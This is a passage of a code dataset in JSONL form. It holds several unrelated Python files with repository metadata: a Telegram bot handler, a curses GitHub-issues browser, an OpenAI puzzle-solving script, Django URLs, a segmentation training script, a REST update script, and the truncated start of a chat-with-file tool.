ozon_api.paginator(item_list=archived_articles, size=20)\n for chunk in archived_items_chunks:\n text = [\"Созданные ранее товары, сейчас в архиве:\", \"-\" * 5]\n for item in chunk:\n text.append(hcode(item))\n await message.answer(\"\\n\".join(text))\n os.remove(file_name)\n await state.set_state(AdminFSM.home)\n text = \"✅ Цикл завершён\"\n await message.answer(text, reply_markup=kb)\n", "repo_name": "twopercent051/nkm_clone_bot", "sub_path": "tgbot/handlers/admin/main_block.py", "file_name": "main_block.py", "file_ext": "py", "file_size_in_byte": 7057, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "aiogram.Router", "line_number": 19, "usage_type": "call"}, {"api_name": "filters.AdminFilter", "line_number": 20, "usage_type": "call"}, {"api_name": "inline.AdminInlineKeyboard", "line_number": 22, "usage_type": "call"}, {"api_name": "services.ozon_api.OzonAPI", "line_number": 24, "usage_type": "call"}, {"api_name": "create_bot.config.tg_bot", "line_number": 26, "usage_type": "attribute"}, {"api_name": "create_bot.config", "line_number": 26, "usage_type": "name"}, {"api_name": "inline.main_menu_kb", "line_number": 34, "usage_type": "call"}, {"api_name": "create_bot.bot.send_message", "line_number": 35, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 35, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 39, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 39, "usage_type": "name"}, {"api_name": "tgbot.misc.states.AdminFSM.home", "line_number": 40, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 40, "usage_type": "name"}, {"api_name": "aiogram.filters.Command", "line_number": 38, "usage_type": "call"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 45, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 45, "usage_type": "name"}, {"api_name": "tgbot.misc.states.AdminFSM.home", "line_number": 46, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 46, "usage_type": "name"}, {"api_name": "create_bot.bot.answer_callback_query", "line_number": 48, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 48, "usage_type": "name"}, {"api_name": "aiogram.F.data", "line_number": 44, "usage_type": "attribute"}, {"api_name": "aiogram.F", "line_number": 44, "usage_type": "name"}, {"api_name": "aiogram.types.CallbackQuery", "line_number": 52, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 52, "usage_type": "name"}, {"api_name": "inline.home_kb", "line_number": 54, "usage_type": "call"}, {"api_name": "tgbot.misc.states.AdminFSM.client_id", "line_number": 55, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 55, "usage_type": "name"}, {"api_name": "create_bot.bot.answer_callback_query", "line_number": 57, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 57, "usage_type": "name"}, {"api_name": "aiogram.F.data", "line_number": 51, "usage_type": "attribute"}, {"api_name": "aiogram.F", "line_number": 51, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 61, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 61, "usage_type": "name"}, {"api_name": "inline.home_kb", "line_number": 63, "usage_type": "call"}, {"api_name": "tgbot.misc.states.AdminFSM.api_token", "line_number": 65, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 65, "usage_type": "name"}, {"api_name": "aiogram.F.text", "line_number": 60, "usage_type": "attribute"}, {"api_name": "aiogram.F", "line_number": 60, "usage_type": "name"}, {"api_name": "tgbot.misc.states.AdminFSM.client_id", "line_number": 60, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 60, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 70, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 70, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 71, "usage_type": "call"}, {"api_name": "aiogram.types.FSInputFile", "line_number": 72, "usage_type": "call"}, {"api_name": "inline.home_kb", "line_number": 74, "usage_type": "call"}, {"api_name": "tgbot.misc.states.AdminFSM.get_data", "line_number": 76, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 76, "usage_type": "name"}, {"api_name": "aiogram.F.text", "line_number": 69, "usage_type": "attribute"}, {"api_name": "aiogram.F", "line_number": 69, "usage_type": "name"}, {"api_name": "tgbot.misc.states.AdminFSM.api_token", "line_number": 69, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 69, "usage_type": "name"}, {"api_name": "aiogram.types.Message", "line_number": 81, "usage_type": "name"}, {"api_name": "aiogram.fsm.context.FSMContext", "line_number": 81, "usage_type": "name"}, {"api_name": "os.getcwd", "line_number": 82, "usage_type": "call"}, {"api_name": "create_bot.bot.download", "line_number": 83, "usage_type": "call"}, {"api_name": "create_bot.bot", "line_number": 83, "usage_type": "name"}, {"api_name": "services.excel.xlsx_parser", "line_number": 84, "usage_type": "call"}, {"api_name": "aiogram.utils.markdown.hcode", "line_number": 98, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 99, "usage_type": "call"}, {"api_name": "inline.home_kb", "line_number": 101, "usage_type": "call"}, {"api_name": "asyncio.sleep", "line_number": 102, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 119, "usage_type": "call"}, {"api_name": "services.orecht.get_card_info", "line_number": 127, "usage_type": "call"}, {"api_name": "aiogram.utils.markdown.hcode", "line_number": 150, "usage_type": "call"}, {"api_name": "os.remove", "line_number": 152, "usage_type": "call"}, {"api_name": "tgbot.misc.states.AdminFSM.home", "line_number": 153, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 153, "usage_type": "name"}, {"api_name": "aiogram.F.document", "line_number": 80, "usage_type": "attribute"}, {"api_name": "aiogram.F", "line_number": 80, "usage_type": "name"}, {"api_name": "tgbot.misc.states.AdminFSM.get_data", "line_number": 80, "usage_type": "attribute"}, {"api_name": "tgbot.misc.states.AdminFSM", "line_number": 80, "usage_type": "name"}]} {"seq_id": "26449335651", "text": "#!/usr/bin/python\nimport curses\nimport os\nimport re\nimport pexpect\nimport sys\nimport textwrap\nimport pickle\nfrom threading import Thread\n\nimport start_app\nfrom actions import edit, suspend_curses, list_dir, cat_file, open_shell_with\nfrom color import get_color, get_rgb\nfrom ansi import ansi_to_attr_list\n\nORIG_CWD = os.getcwd()\nTMP_FILE = '/tmp/gitco-gh-issues'\nos.chdir('/home/david/dev/inboundsms')\n\nfrom plumbum.cmd import hub, highlight, firefox, git\nfrom plumbum import local, FG\nfrom contextlib import contextmanager\n\n@contextmanager\ndef in_orig_dir():\n os.chdir(ORIG_CWD)\n yield\n os.chdir('/home/david/dev/inboundsms')\n\ndef checkout_branch_starting_with(prefix):\n with in_orig_dir():\n branch = git('branch', '--list', '%s*' % prefix).split('\\n')[0][2:].strip()\n if branch:\n git('checkout', branch)\n\n\ndef run_in_tty(cmd, *args):\n child = pexpect.spawn(cmd, list(args))\n try:\n child.expect(None)\n except pexpect.exceptions.EOF:\n return child.before.decode('utf-8')\n\n\nclass Issues():\n def __init__(self):\n self.issues = []\n self.load_issues_cache()\n t = Thread(target=self.load_issues)\n t.start()\n\n def load_issues_cache(self):\n if os.path.exists(TMP_FILE):\n with open(TMP_FILE, 'r') as f:\n self.issues = pickle.load(f)\n\n\n def load_issues(self):\n fields = {\n 'number': 'i',\n 'id': 'I',\n 'url': 'U',\n 'title': 't',\n 'body': 'b',\n 'labels': 'l',\n 'author': 'au',\n 'assignes': 'as',\n 'milestone': 'Mt',\n 'comment_count': 'NC',\n 'created_at': 'ct',\n 'updated_at': 'ut',\n }\n\n\n field_pairs = fields.items()\n field_separator = '---djoji2e101u182sd----'\n issue_separator = '---1oij231j231kasds----'\n format = field_separator.join('%' + pair[1] for pair in field_pairs) + issue_separator\n\n resp = (run_in_tty('hub', 'issue', '-a', 'none', '-a', 'none', '-f', format) +\n run_in_tty('hub', 'issue', '-a', 'dvdbng', '-f', format))\n\n if issue_separator not in resp:\n print(resp)\n sys.exit(1)\n\n res = [\n dict(zip((pair[0] for pair in field_pairs), issue_raw.split(field_separator)))\n for issue_raw in resp.split(issue_separator)\n if field_separator in issue_raw\n ]\n res.sort(key=lambda i: (len(i.get('milestone', '')), i.get('milestone')))\n res.reverse()\n self.issues = res\n with open(TMP_FILE, 'w') as f:\n f.write(pickle.dumps(res))\n\n def find_by_id(self, id):\n for issue in self.issues:\n if issue['id'] == id:\n return issue\n\n def issue_title(self, issue):\n status = re.search(' ([0-5]) -', issue['labels'])\n status = status.group(1) if status else ' '\n status_color = get_color(curses.COLOR_WHITE, get_rgb(0, 0, 255)) if status != ' ' else 0\n\n prioritym = re.search('(\\d+;\\d+;\\d+)m (low|medium|high|critical) ', issue['labels'], re.I)\n priority = prioritym.group(2).lower() if prioritym else ' '\n priority_color = get_color(curses.COLOR_WHITE, get_rgb(*map(int, prioritym.group(1).split(';')))) if prioritym else 0\n\n assigned = 'A' if 'dvdbng' in issue['assignes'].lower() else ' '\n assigned_color = get_color(curses.COLOR_WHITE, curses.COLOR_GREEN) if assigned == 'A' else 0\n\n return [\n (issue['number'].rjust(8), get_color(curses.COLOR_GREEN)),\n (u' ', 0),\n (status, status_color),\n (priority[0].upper(), priority_color),\n (assigned, assigned_color),\n (u' ' + issue['title'], 0),\n ]\n\n\n def show_issue(self, issue):\n if issue is None:\n return \"No issue\"\n text = issue['body'].replace('\\r', '')\n text = \"\\n\".join(textwrap.wrap(text, width=120, replace_whitespace=False))\n\n formatted = (highlight['-O', 'ansi', '--syntax', 'markdown'] << text)()\n issue['formatted_body'] = formatted\n return textwrap.dedent(u\"\"\"\n Title: %(title)s\n Author: %(author)s\n Labels: %(labels)s\n Url: %(url)s\n Assigned: %(assignes)s\n Milestone: %(milestone)s\n Comments: %(comment_count)s\n\n %(formatted_body)s\"\"\") % issue\n\n def update(self, diff, menu):\n options = []\n\n i = 0\n last_milestone = None\n for issue in self.issues:\n if last_milestone == None or last_milestone != issue['milestone']:\n options.append([('In milestone %s' % issue['milestone'], get_color(curses.COLOR_BLUE) | curses.A_BOLD)])\n last_milestone = issue['milestone']\n options.append(self.issue_title(issue))\n\n if len(options) == 0:\n options.append([('no issues', 0)])\n menu.set_options(options)\n\n issue = self.selected_issue(menu.selected_line())\n if issue:\n diff.set_text(self.show_issue(issue))\n else:\n diff.set_text(menu.selected_line())\n\n def selected_issue(self, selected_line):\n if selected_line.strip().startswith('#'):\n return self.find_by_id(selected_line.strip().split(' ')[0][1:])\n else:\n return None\n\n def handle(self, key, menu, win):\n if key == ord('q'):\n sys.exit(0)\n return True\n elif key == curses.KEY_F5:\n start_app.App.app.set_status('Refreshing...')\n self.load_issues()\n return True\n\n issue = self.selected_issue(menu.selected_line())\n if issue is None:\n return\n\n if key == ord('g'):\n firefox(issue['url'])\n elif key == ord('b'):\n name = '%s_%s' % (issue['id'], re.sub('[^a-z0-9_]', '', re.sub('\\s+', '_', issue['title'].lower())))\n with in_orig_dir():\n open_shell_with('git mkbranch %s ; and exit' % name)\n elif key == ord('c'):\n checkout_branch_starting_with(issue['id'])\n else:\n return False\n return True\n\n\napp = Issues()\nstart_app.main(app.handle, app.update)\n", "repo_name": "dvdbng/gitco", "sub_path": "issues.py", "file_name": "issues.py", "file_ext": "py", "file_size_in_byte": 6240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "78", "api": [{"api_name": "os.getcwd", "line_number": 16, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 18, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 26, "usage_type": "call"}, {"api_name": "os.chdir", "line_number": 28, "usage_type": "call"}, {"api_name": "contextlib.contextmanager", "line_number": 24, "usage_type": "name"}, {"api_name": "plumbum.cmd.git", "line_number": 32, "usage_type": "call"}, {"api_name": "plumbum.cmd.git", "line_number": 34, "usage_type": "call"}, {"api_name": "pexpect.spawn", "line_number": 38, "usage_type": "call"}, {"api_name": "pexpect.exceptions", "line_number": 41, "usage_type": "attribute"}, {"api_name": "threading.Thread", "line_number": 49, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 53, "usage_type": "call"}, {"api_name": "os.path", "line_number": 53, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 55, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 85, "usage_type": "call"}, {"api_name": "pickle.dumps", "line_number": 96, "usage_type": "call"}, {"api_name": "re.search", "line_number": 104, "usage_type": "call"}, {"api_name": "color.get_color", "line_number": 106, "usage_type": "call"}, {"api_name": "curses.COLOR_WHITE", "line_number": 106, "usage_type": "attribute"}, {"api_name": "color.get_rgb", "line_number": 106, "usage_type": "call"}, {"api_name": "re.search", "line_number": 108, "usage_type": "call"}, {"api_name": "re.I", "line_number": 108, "usage_type": "attribute"}, {"api_name": "color.get_color", "line_number": 110, "usage_type": "call"}, {"api_name": "curses.COLOR_WHITE", "line_number": 110, "usage_type": "attribute"}, {"api_name": "color.get_rgb", "line_number": 110, "usage_type": "call"}, {"api_name": "color.get_color", "line_number": 113, "usage_type": "call"}, {"api_name": "curses.COLOR_WHITE", "line_number": 113, "usage_type": "attribute"}, {"api_name": "curses.COLOR_GREEN", "line_number": 113, "usage_type": "attribute"}, {"api_name": "color.get_color", "line_number": 116, "usage_type": "call"}, {"api_name": "curses.COLOR_GREEN", "line_number": 116, "usage_type": "attribute"}, {"api_name": "textwrap.wrap", "line_number": 129, "usage_type": "call"}, {"api_name": "plumbum.cmd.highlight", "line_number": 131, "usage_type": "name"}, {"api_name": "textwrap.dedent", "line_number": 133, "usage_type": "call"}, {"api_name": "color.get_color", "line_number": 151, "usage_type": "call"}, {"api_name": "curses.COLOR_BLUE", "line_number": 151, "usage_type": "attribute"}, {"api_name": "curses.A_BOLD", "line_number": 151, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 173, "usage_type": "call"}, {"api_name": "curses.KEY_F5", "line_number": 175, "usage_type": "attribute"}, {"api_name": "start_app.App.app.set_status", "line_number": 176, "usage_type": "call"}, {"api_name": "start_app.App", "line_number": 176, "usage_type": "attribute"}, {"api_name": "plumbum.cmd.firefox", "line_number": 185, "usage_type": "call"}, {"api_name": "re.sub", "line_number": 187, "usage_type": "call"}, {"api_name": "actions.open_shell_with", "line_number": 189, "usage_type": "call"}, {"api_name": "start_app.main", "line_number": 198, "usage_type": "call"}]} {"seq_id": "29090277992", "text": "import os\nfrom unittest import result\nimport openai\nimport json\nimport argparse\n\nopenai.api_key = os.getenv(\"OPENAI_API_KEY\")\nexample_data = {\n\t\"puzzle\":\"A man walks into a bar and asks the bartender for a drink of water. The bartender pulls out a qun, points it at the man and cocks it. The man pauses before saying \\\"Thank you\\\"and leaving. What happened?\",\n\t\"solution\":\"The man had the hiccups. The bartender realized this and chose instead to cure the hiccups by frightening the man with the gun.\",\n\t\"question_list\":[\n\t\t\"Could the bartender hear him?\",\n\t\t\"Did the man ask for water in an offensive way?\"\n\t],\n\t\"answer_list\": [\n\t\t\"Yes\",\n\t\t\"No\"\n\t]\n}\n\ndef load_data(data_path):\n\twith open(data_path, 'r') as f:\n\t\tdata = json.load(f)\n\treturn data\n\ndef convert_to_question_generation_prefix(item_dict):\n\ttask_description = \"I am an intelligent bot that can play situation puzzles with user. A puzzle is given first, and the user begin to ask a \\\"yes/no\\\" question to ensure details.\"\n\tresult_prefix = task_description+'\\n'+\"Puzzle: \"+example_data['puzzle']+'\\n'\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][0]+'\\n'\n\tresult_prefix += \"Answer: \"+example_data[\"answer_list\"][0]+'\\n'\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][1]+'\\n'\n\tresult_prefix += '\\n'\n\tresult_prefix += \"Puzzle:\"+item_dict['senario'][0]+' '+item_dict['question']+'\\n'\n\tif \"question_list\" in item_dict:\n\t\tfor question, answer in zip(item['question_list'], item['answer_list']):\n\t\t\tresult_prefix += \"Question: \"+question+'\\n'\n\t\t\tresult_prefix += \"Answer: \"+answer+'\\n'\n\tresult_prefix += \"Question: \"\n\treturn result_prefix\n\n\ndef convert_to_answer_generation_prefix(item_dict):\n\ttask_description = \"I am an intelligent bot that can play as judge in situation puzzles with user. A puzzle is given first, and the user begin to ask a \\\"yes/no\\\" question to ensure details, and I will give \\\"Yes/No/Irrelevent\\\" as answer to questions.\"\n\tresult_prefix = task_description+'\\n'+\"Puzzle: \"+example_data['puzzle']+'\\n'\n\tresult_prefix += \"Solution: \"+example_data[\"solution\"]\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][0]+'\\n'\n\tresult_prefix += \"Answer: \"+example_data[\"answer_list\"][0]+'\\n'\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][1]+'\\n'\n\tresult_prefix += \"Answer: \"+example_data[\"answer_list\"][1]+'\\n'\n\tresult_prefix += '\\n'\n\tresult_prefix += \"Puzzle:\"+item_dict['senario'][0]+' '+item_dict['question']+'\\n'\n\tif \"question_list\" in item_dict and \"answer_list\" in item_dict:\n\t\tfor question, answer in zip(item['question_list'], item['answer_list']):\n\t\t\tresult_prefix += \"Question: \"+question+'\\n'\n\t\t\tresult_prefix += \"Answer: \"+answer+'\\n'\n\tresult_prefix += \"Question: \"+item['question_list'][-1]+'\\n'\n\tresult_prefix += \"Answer: \"\n\treturn result_prefix\n\ndef convert_to_hint_generation_prefix(item_dict):\n\tpass\n\ndef convert_to_solution_generation_prefix(item_dict):\n\ttask_description = \"I am an intelligent bot that can play situation puzzles with user. A puzzle is given first, and the user begin to ask \\\"yes/no\\\" question to ensure details, then I will give the question a\\\"yes/no/irrelevent\\\" answer. Finally user try to give solution for the puzzle.\"\n\tresult_prefix = task_description+'\\n'+\"Puzzle: \"+example_data['puzzle']+'\\n'\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][0]+'\\n'\n\tresult_prefix += \"Answer: \"+example_data[\"answer_list\"][0]+'\\n'\n\tresult_prefix += \"Question: \"+example_data[\"question_list\"][1]+'\\n'\n\tresult_prefix += \"Answer: \"+example_data[\"answer_list\"][1]+'\\n'\n\tresult_prefix += '\\n'\n\tresult_prefix += \"Puzzle:\"+item_dict['senario'][0]+' '+item_dict['question']+'\\n'\n\tif \"question_list\" in item_dict and \"answer_list\" in item_dict:\n\t\tfor question, answer in zip(item['question_list'], item['answer_list']):\n\t\t\tresult_prefix += \"Question: \"+question+'\\n'\n\t\t\tresult_prefix += \"Answer: \"+answer+'\\n'\n\tresult_prefix += \"Solution: \"\n\treturn result_prefix\n\ndef Jaccard_similarity(infer_sent, ref):\n\tinfer_sent_list = infer_sent.split(' ')\n\tref_list = ref.split(' ')\n\tinfer_sent_set = set(infer_sent_list)\n\tref_set = set(ref_list)\n\tunion_set = infer_sent_set.union(ref_set)\n\tintersetion_set = infer_sent_set.intersection(ref_set)\n\tjaccard_score = float(len(intersetion_set)/len(union_set))\n\treturn jaccard_score\n\n\ndef get_response(prompt):\n\tresponse = openai.Completion.create(\n\t\tmodel=\"text-davinci-002\",\n\t\tprompt=prompt,\n\t\ttemperature=0.7,\n\t\tmax_tokens=100,\n\t\ttop_p=1,\n\t\tfrequency_penalty=0.0,\n\t\tpresence_penalty=0.0,\n\t\tstop=[\"\\n\\n\"]\n\t\t)\n\treturn response.get('choices')[0]['text'].split(\"\\n\")[0]\n\nif __name__==\"__main__\":\n\tparse = argparse.ArgumentParser()\n\tparse.add_argument('--sample_num', type=int, default=1, help=\"the sample number to be infer\")\n\tparse.add_argument('--max_turn', type=int, default=5)\n\tparse.add_argument('--with_hint', action='store_true')\n\targs = parse.parse_args()\n\n\tdataset = load_data(\"situation-data/puzzles.json\")\n\tdataset = list(dataset.values())\n\t\n\tfor item in dataset[:args.sample_num]:\n\t\tturn_count = 0\n\t\twhile turn_count < args.max_turn:\n\t\t\tquestion_generation_prompt = convert_to_question_generation_prefix(item)\n\t\t\t# import ipdb;ipdb.set_trace()\n\t\t\tgenerated_question = get_response(question_generation_prompt)\n\t\t\t\n\t\t\tif 'question_list' not in item:\n\t\t\t\titem[\"question_list\"] = [generated_question]\n\t\t\telse:\n\t\t\t\titem['question_list'].append(generated_question)\n\t\t\tanswer_generation_prompt = convert_to_answer_generation_prefix(item)\n\t\t\tgenerated_answer = get_response(answer_generation_prompt)\n\t\t\tif 'answer_list' not in item:\n\t\t\t\titem[\"answer_list\"] = [generated_answer]\n\t\t\telse:\n\t\t\t\titem[\"answer_list\"].append(generated_answer)\n\t\t\tsolution_generation_prompt = convert_to_solution_generation_prefix(item)\n\t\t\tgenerated_solution = get_response(solution_generation_prompt)\n\t\t\tprint(f\"turn_{turn_count+1}: \", generated_solution)\n\t\t\tif 'solution_history' not in item:\n\t\t\t\titem[\"solution_history\"] = [generated_solution]\n\t\t\telse:\n\t\t\t\titem[\"solution_history\"].append(generated_solution)\n\t\t\tjaccard_score = Jaccard_similarity(generated_solution, item['answer'][0])\n\t\t\tif jaccard_score>0.5:\n\t\t\t\tbreak\n\t\t\tturn_count += 1\n\twith open('output/infer_output.json', 'w') as f:\n\t\tjson.dump(dataset[:args.sample_num], f)", "repo_name": "boop-yyt/situation_puzzle", "sub_path": "openai_infer.py", "file_name": "openai_infer.py", "file_ext": "py", "file_size_in_byte": 6202, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "openai.api_key", "line_number": 7, "usage_type": "attribute"}, {"api_name": "os.getenv", "line_number": 7, "usage_type": "call"}, {"api_name": "json.load", "line_number": 23, "usage_type": "call"}, {"api_name": "openai.Completion.create", "line_number": 91, "usage_type": "call"}, {"api_name": "openai.Completion", "line_number": 91, "usage_type": "attribute"}, {"api_name": "argparse.ArgumentParser", "line_number": 104, "usage_type": "call"}, {"api_name": "json.dump", "line_number": 142, "usage_type": "call"}]} {"seq_id": "9391730792", "text": "from django.urls import path\r\n# from django.conf.urls import url\r\nfrom . import views\r\n\r\nurlpatterns = [\r\n path('', views.index, name='main'),\r\n path('about_me', views.about, name='about'),\r\n path(\"python\", views.button, name='python'),\r\n path(\"output\", views.output, name='script'),\r\n]", "repo_name": "w1nsanity/doris_chat_bot", "sub_path": "main/urls.py", "file_name": "urls.py", "file_ext": "py", "file_size_in_byte": 298, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "django.urls.path", "line_number": 6, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 7, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 8, "usage_type": "call"}, {"api_name": "django.urls.path", "line_number": 9, "usage_type": "call"}]} {"seq_id": "26347295819", "text": "from __future__ import annotations\n\nimport albumentations as A\nfrom albumentations.pytorch import ToTensorV2\nfrom lightning import Trainer\nfrom lightning.pytorch import loggers as pl_loggers\nfrom model.architectures.unet import UNet\nfrom model.model import SegmentationModel\n\nfrom data.datamodules import VOCDatamodule\n\n\ndef main():\n # mean of the imagenet dataset for normalizing\n train_transform = A.Compose(\n [\n A.Resize(height=160, width=160),\n A.Rotate(limit=35, p=1.0),\n A.HorizontalFlip(p=0.5),\n A.VerticalFlip(p=0.1),\n A.Normalize(\n mean=[0.0, 0.0, 0.0],\n std=[1.0, 1.0, 1.0],\n max_pixel_value=255.0,\n ),\n ToTensorV2(),\n ],\n )\n inference_transform = A.Compose(\n [\n A.Resize(height=160, width=160),\n A.Normalize(\n mean=[0.0, 0.0, 0.0],\n std=[1.0, 1.0, 1.0],\n max_pixel_value=255.0,\n ),\n ToTensorV2(),\n ],\n )\n datamodule = VOCDatamodule(\n train_transform=train_transform, inference_transform=inference_transform,\n )\n model = SegmentationModel(UNet())\n\n tb_logger = pl_loggers.TensorBoardLogger(save_dir='logs/')\n trainer = Trainer(max_epochs=500, accelerator='gpu', logger=tb_logger)\n trainer.fit(model, datamodule)\n\n\nif __name__ == '__main__':\n main()\n", "repo_name": "plachert/image-segmentation", "sub_path": "src/train.py", "file_name": "train.py", "file_ext": "py", "file_size_in_byte": 1441, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "albumentations.Compose", "line_number": 15, "usage_type": "call"}, {"api_name": "albumentations.Resize", "line_number": 17, "usage_type": "call"}, {"api_name": "albumentations.Rotate", "line_number": 18, "usage_type": "call"}, {"api_name": "albumentations.HorizontalFlip", "line_number": 19, "usage_type": "call"}, {"api_name": "albumentations.VerticalFlip", "line_number": 20, "usage_type": "call"}, {"api_name": "albumentations.Normalize", "line_number": 21, "usage_type": "call"}, {"api_name": "albumentations.pytorch.ToTensorV2", "line_number": 26, "usage_type": "call"}, {"api_name": "albumentations.Compose", "line_number": 29, "usage_type": "call"}, {"api_name": "albumentations.Resize", "line_number": 31, "usage_type": "call"}, {"api_name": "albumentations.Normalize", "line_number": 32, "usage_type": "call"}, {"api_name": "albumentations.pytorch.ToTensorV2", "line_number": 37, "usage_type": "call"}, {"api_name": "data.datamodules.VOCDatamodule", "line_number": 40, "usage_type": "call"}, {"api_name": "model.architectures.unet", "line_number": 43, "usage_type": "name"}, {"api_name": "model.model.SegmentationModel", "line_number": 43, "usage_type": "call"}, {"api_name": "model.architectures.unet.UNet", "line_number": 43, "usage_type": "call"}, {"api_name": "lightning.pytorch.loggers.TensorBoardLogger", "line_number": 45, "usage_type": "call"}, {"api_name": "lightning.pytorch.loggers", "line_number": 45, "usage_type": "name"}, {"api_name": "lightning.Trainer", "line_number": 46, "usage_type": "call"}, {"api_name": "model.architectures.unet", "line_number": 47, "usage_type": "argument"}]} {"seq_id": "43980711118", "text": "import requests\r\nfrom get_token import token\r\n\r\nstudent_id = 2\r\nurl = f'http://127.0.0.1:3001/alunos/{student_id}'\r\n\r\nheaders = {\r\n 'Authorization': token\r\n}\r\n\r\nuser_data = {\r\n\t\"nome\": \"luana\",\r\n\t\"sobrenome\": \"da silva\",\r\n\t\"email\": \"laaa@email.com\",\r\n\t\"idade\": \"20\",\r\n\t\"peso\": \"60.08\",\r\n\t\"altura\": \"1.70\"\r\n}\r\n\r\n\r\nresponse = requests.put(url=url, json=user_data, headers=headers)\r\n\r\nif response.ok:\r\n response_data = response.json()\r\n print(response_data)\r\n\r\nelse:\r\n print(response.status_code)\r\n print(response.text)\r\n", "repo_name": "gabriel-O-C/basic_crud", "sub_path": "src/students/put_student.py", "file_name": "put_student.py", "file_ext": "py", "file_size_in_byte": 523, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "78", "api": [{"api_name": "get_token.token", "line_number": 8, "usage_type": "name"}, {"api_name": "requests.put", "line_number": 21, "usage_type": "call"}]} {"seq_id": "73471840572", "text": "import asyncio\nfrom openai import AsyncOpenAI\nimport os\nfrom FileTransform import file_transform\nimport ChatFileConfig\nimport json\nimport shutil\n\n\nconfig = ChatFileConfig.Config(\"./config.json\")\nconfig.get_init()\nstorage = []\n\n## ChatGPT参数设置\n\nclient = AsyncOpenAI(\n base_url = config.base_url,\n api_key = config.api_key,\n)\n\n# 发送请求给 OpenAI GPT\nasync def chatmd(message,dialogue_history,model=config.model,temperature=config.temperature,max_tokens=config.max_tokens):\n # 将当前消息添加到对话历史中\n dialogue_history.append(message)\n # 发送请求给 OpenAI GPT\n response = await client.chat.completions.create(\n model=model,\n messages=dialogue_history,\n temperature=temperature, # 控制模型输出的随机程度\n max_tokens=max_tokens, # 控制生成回复的最大长度\n stream=True, # 是否是流式生成\n )\n\n print(\"\\nGPT>> \",end=\"\")\n assistant_message = \"\"\n async for part in response:\n w = part.choices[0].delta.content or \"\"\n assistant_message += w\n print(w,end=\"\")\n print(\"\\n\")\n dialogue_history.append({'role':'assistant','content':assistant_message})\n\n\n## 让GPT读取文章\nasync def gpt_read_content(content,dialogue_file):\n\n ## 获得对话历史\n if os.path.exists(dialogue_file):\n with open(dialogue_file, 'r', encoding='utf-8') as f:\n dialogue_history = json.load(f)\n # 将读文章指令发送给他\n end_message = \"文章已发送完毕，接下来我将提出一些与文章相关的问题，请根据内容以markdown格式进行回答，我的第一个问题是'Summarize the main content of the article.'\"\n end_message = {'role':'user','content':end_message}\n await chatmd(end_message,dialogue_history)\n else:\n if content is None:\n print(f\"not exists {dialogue_file}\")\n dialogue_history = [\n {'role':'system','content':config.sys_content}\n ]\n\n ## 字符串切分\n def ContentSplit(string,length):\n return [string[i:i+length] for i in range(0, len(string), length)]\n\n contents = ContentSplit(content,1000) # 分段内容\n pages = len(contents) # 分段数\n\n ## 分段输入\n # start\n start_message = f\"我现在会将文章的内容分 {pages} 部分发送给你。请确保你已经准备好接收，接收到文章发送完毕的指令后，请准备回答我的问题。\"\n dialogue_history.append({'role':'user','content':start_message})\n # 文章\n for i in range(pages):\n content_message = {'role':'user','content':contents[i]}\n dialogue_history.append(content_message)\n # end\n end_message = \"文章已发送完毕，接下来我将提出一些与文章相关的问题，请你使用中文，根据内容以markdown格式进行回复，我的第一个问题是'Summarize the main content of the article.'\"\n end_message = {'role':'user','content':end_message}\n await chatmd(end_message,dialogue_history)\n\n ## 保存阅读会话\n with open(dialogue_file,\"w\",encoding=\"utf-8\") as f:\n json.dump(dialogue_history,f)\n return dialogue_history\n\n\n## 交流循环\nasync def main_loop(file_path): \n print(\"##SYS: 正在处理文件...\")\n content,dialogue_file,floder_name = file_transform(file_path)\n print(floder_name.center(75,'='))\n print(\"##SYS: 正在分析文件...\")\n dialogue_history = await gpt_read_content(content,dialogue_file)\n\n while True:\n user_input = input(\"User: \")\n if user_input == \"quit\":\n return True\n message 